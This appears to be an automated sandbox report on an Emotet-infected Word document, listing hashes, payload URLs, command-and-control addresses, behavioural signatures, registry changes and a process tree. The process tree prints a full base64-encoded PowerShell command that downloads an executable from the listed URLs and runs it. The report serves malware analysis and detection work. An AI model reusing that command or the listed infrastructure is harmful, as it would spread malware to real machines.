Analysis
-
max time kernel
79s -
max time network
140s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
28-07-2020 20:49
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e_2020-07-28__204930._doc.doc
Resource
win7v200722
General
-
Target
emotet_e1_03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e_2020-07-28__204930._doc.doc
-
Size
168KB
-
MD5
1cbfb57b3cb22c621c786457673e9b77
-
SHA1
67359bd6b59797b442ec06655d923aad6bed8c70
-
SHA256
03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e
-
SHA512
404269c36436bb53205354be9a3026c47976b9b71038cc75514a00db71423e7ef5464cc0bebcad05d4cc512790670512dc62d3c86a59221585115b8261726416
Malware Config
Extracted
http://globeartdesigners.com/assets/lR/
http://karerguvenlik.com/bayi/6UF4rtEz/
https://juroca.com/language/Uiv/
https://www.lgpass.com/images/Wk128/
http://m0h.net/nano/WLfQ/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1044 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powersheLL.exelpk.exepid process 1044 powersheLL.exe 1044 powersheLL.exe 880 lpk.exe 880 lpk.exe 880 lpk.exe -
Executes dropped EXE 2 IoCs
Processes:
369.exelpk.exepid process 1760 369.exe 880 lpk.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
369.exedescription pid process target process PID 1760 wrote to memory of 880 1760 369.exe lpk.exe PID 1760 wrote to memory of 880 1760 369.exe lpk.exe PID 1760 wrote to memory of 880 1760 369.exe lpk.exe PID 1760 wrote to memory of 880 1760 369.exe lpk.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1760-11-0x00000000001D0000-0x00000000001DC000-memory.dmp emotet behavioral1/memory/880-15-0x00000000002C0000-0x00000000002CC000-memory.dmp emotet -
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe369.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\adtschema\lpk.exe 369.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1240 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXE369.exelpk.exepid process 1240 WINWORD.EXE 1240 WINWORD.EXE 1760 369.exe 1760 369.exe 880 lpk.exe 880 lpk.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1044 284 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 4 1044 powersheLL.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93}\2.0\FLAGS WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{624C2140-7F51-4B61-9D7A-39EE0B878B93} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e_2020-07-28__204930._doc.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
PID:1240
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABRAFYARgBLAEkAawB5AGgAPQAnAEUAUABEAFIARgBvAGsAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAFQAWQBwAHIATwBgAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABLAFYAQwBGAFkAdgBtAGUAIAA9ACAAJwAzADYAOQAnADsAJABEAFYAWABTAEoAawBxAGoAPQAnAE8AVQBRAFgAQgBpAHYAbQAnADsAJABZAE0ASQBGAEYAagBpAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEsAVgBDAEYAWQB2AG0AZQArACcALgBlAHgAZQAnADsAJABPAEQAWQBIAFgAaABlAG0APQAnAFQAUABOAFYAVQBtAGkAYgAnADsAJABBAEsAUwBSAFcAeABjAHYAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAEkAQQBIAEEATAB3AGEAZgA9ACcAaAB0AHQAcAA6AC8ALwBnAGwAbwBiAGUAYQByAHQAZABlAHMAaQBnAG4AZQByAHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbABSAC8AKgBoAHQAdABwADoALwAvAGsAYQByAGUAcgBnAHUAdgBlAG4AbABpAGsALgBjAG8AbQAvAGIAYQB5AGkALwA2AFUARgA0AHIAdABFAHoALwAqAGgAdAB0AHAAcwA6AC8ALwBqAHUAcgBvAGMAYQAuAGMAbwBtAC8AbABhAG4AZwB1AGEAZwBlAC8AVQBpAHYALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGwAZwBwAGEAcwBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAFcAawAxADIAOAAvACoAaAB0AHQAcAA6AC8ALwBtADAAaAAuAG4AZQB0AC8AbgBhAG4AbwAvAFcATABmAFEALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMARABWAFoAUwBhAHMAdAA9ACcATgBTAEIASQBLAGMAYwBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFQATQBLAEcAYQBsAGgAIABpAG4AIAAkAEkAQQBIAEEATAB3AGEAZgApAHsAdAByAHkAewAkAEEASwBTAFIAVwB4AGMAdgAuACIARABgAE8AVwBOAGwAbwBgAEEARABGAGAAaQBMAEUAIgAoACQAVQBUAE0ASwBHAGEAbABoACwAIAAkAFkATQBJAEYARgBqAGkAYwApADsAJABHAFcAWABRAE4AeABkAHcAPQAnAFIAVABaAEUAUABhAGsAZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkATQBJAEYARgBqAGkAYwApAC4AIgBsAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADIANgA1ADEANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAFkATQBJAEYARgBqAGkAYwApADsAJABQAEwAWQBPAEUAegBxAHQAPQAnAEsARgBMAFMARgBnAGIAZQAnADsAYgByAGUAYQBrADsAJABDAFEAWQBXAFYAZwBiAHoAPQAnAEoAQwBBAFkASAB1AHEAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEkAUwBRAFcAZAB3AG0APQAnAEcAQQBVAFgATgB3AGsAYgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
- Process spawned unexpected child process
- Blacklisted process makes network request
PID:1044
-
C:\Users\Admin\369.exeC:\Users\Admin\369.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1760 -
C:\Windows\SysWOW64\adtschema\lpk.exe"C:\Windows\SysWOW64\adtschema\lpk.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:880